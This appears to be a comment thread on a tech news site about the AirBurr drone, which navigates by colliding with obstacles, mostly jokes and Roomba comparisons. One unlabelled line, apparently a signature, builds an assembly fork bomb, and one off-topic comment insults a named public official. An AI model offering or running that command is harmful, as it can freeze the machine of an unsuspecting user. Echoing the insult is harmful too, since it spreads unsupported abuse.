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AirBurr UAV Navigates By Crashing Into Things
Zothecula writes "If you've ever watched a fly trying to find its way around a house, you might have noticed that it didn't take a particularly graceful approach – it probably bounced off a lot of windows and walls, until by process of elimination, it found a route that was clear. Well, researchers at Switzerland's EPFL Laboratory of Intelligent Systems are taking that same approach with the latest version of their autonomous AirBurr UAV – it's built to run into things, in order to map and navigate its environment."
That sounds similar to the approach that some took in my robotics class in college except those robots drove around on wheels and didn't fly. There hopefully is more brains in these things if they are mapping out their environment by doing so but the 64k we had to work with even allowed some some rudimentary mapping ability.
Time to offend someone
So essentially it mimics a drunk person? I have a suspicion I know how the idea for this research project first came up.
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/joke>
Current approaches bounce radio, sound, and light off obstructions, using radar/sonar/laser mapping. This new approach bounces the physical object off obstructions, for the purpose of...? Being more easily detected? Making even more noise? Causing itself and everything around it more damage?
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it's built to run into things, in order to map and navigate its environment.
Hey that's neat... Question:
What happens when it bumps into a weakened structural support, one that just happens to barely be holding the building up?
I assume the AirBurr is cheap to replace?
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Sounds like an air-Roomba. Wish my Roomba didn't die. That thing was fun as hell to watch.
Why don't they just graft tadpole eyes onto its butt?
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I think it's just a bad programmer trying to close a bug as 'Won't Fix'.
I have spent plenty of time watching flies and I have observed they do avoid obstacles. It is also quite unlikely that they are able to store a large map of their environment in their tiny brains nor would this be particularly useful since they are frequently encountering places that they have never been before. (Flies may bump off of windows, but that is more of an issue of being able to see a window than a useful navigation strategy.)
This is how the roomba vacuum cleaners navigate, isn't it? What's new?
No one will ever hear that UAV as it stealthy approaches. BANG! CRASH! BOOM!, EEK!
The flies in my part of California don't bounce off the walls. WTF? Sure, they fly back and forth and in circles, but bouncing off the walls as a form of navigation? I have my doubts as to whether this was truly nature-inspired.
that won't be able to tolerate being hit. Like a child. Or drying concrete. Or another UAV.
The new HurrDurr UAV removes the complexities of navigating inside a building through a novel approach: Remove the building as shown in the pictures.
that's what the whiskers on cats, rats and dogs are for. They are sensors for what they are about to bump into.
- Zav - Imagine a Beowulf cluster of insensitive clods...
This is the perfect unmanned aircraft for navigating through a minefield... great idea!
...a flying Roomba.
OK... so who saw the picture in the article and thought the UAV was responsible for the damage?
Mod me down, I shall become more off-topic than you could possibly imagine.
My memory is a little bit hazy, but IIRC from topology: as the number of dimensions increase, the probability of returning to your point of origin in a random walk goes down (assuming you're traversing an infinite space with a possible infinite number of steps). Perhaps I'm mis-reading TFA, or perhaps there's not enough information posted, but assuming these autonomous UAV's utilize a random walk to map it's environment, how can one guarantee it can effectively map a 3 dimensional space?
It's going to ding my car, damage my walls, break a window, and knock over a lamp before it assassinates me in my home now?
I browse on +1 so AC's need not respond, I won't see it.
Put short range radar in the thing and have it stop just short of the obstacle. Less damage to the environment, and less strain on the device.
Funrobot is MSI's somewhat Heath Robinson robotics brand. They've got high end ones with ultrasonic sensors
This is the M800
http://www.youtube.com/watch?v=RzV76Zjru5A
It works pretty well and can find the docking station to recharge. It is somewhat expensive (US$400 - above most people's impulse buy threshold)
The R500 has bump sensors
http://www.youtube.com/watch?v=6lFwhqcLnzo
It's cheap (about US$120) but also very irritating. Bump sensors make a lot of noise and it will also get stuck on cables, curtains and so on.
If you look on the net it is now very hard to buy an R500 but the M800 are [still being sold](http://ecshweb.pchome.com.tw/search/v2/?q=icleaner)
This makes me think that bump sensors are not a very good idea, even for vacuum cleaners.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Copyright infringement!!! It's the same way I navigate around my house when I'm drunk
So the top of the article has a picture of a building that looked like someone'd been going at the walls with a sledgehammer for a while. Anyone else see this and think "Man, they gotta make that thing a little lighter..."
Sounds like the Half Life 2 episode 2 "Man Hacks" that flew around in the sewers...
It would be insane to actually release a bunch of these into a space to find people or something like that. But on the other hand, as a research project, it is beyond awesome. Also, it would be really nice to see the majority of VTOL UAVs designed such that they "can't" (for some reasonable value most likely more properly described as "probably won't") chop stuff up with their props, like your face. And perhaps, to have them not kill you if they land on you from very high up. So there's lessons to be learned here. If you're building flying drones that can run into stuff and keep flying, it would certainly be nice if they could know they ran into something, and remember that there's something there.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
If you have TRULY observed a fly trying to find its way around a house, you might have noticed that it in fact takes a very GRACEFUL approach: it never bumps to anything but almost completely transparent objects (as do many birds), and its true grace can be readily observed through 1500 fps videos.
It is one of the animals with the highest flight maneuverability, as two of its wings have evolved to counterweights: not only it can hover and take-off backwards, but it can land upside-down, and does so very skillfully. See youtube and BBC documentaries for further edification.
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Since the so called 'Sequester' began, she has taken upon herself to fire employees of the ICE, Boarder Patrols and TSA above and far beyond and thing as rational human could interpret the sequester would or even need require.
The Security and Safety of the United States of America, and the President of the United States of America is undermined by the existence of the monster calling itself 'Janet Napolitano.'
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Its like how people San Francisco park their cars. Move forwards, bump, backwards, bump, repeat until parallel.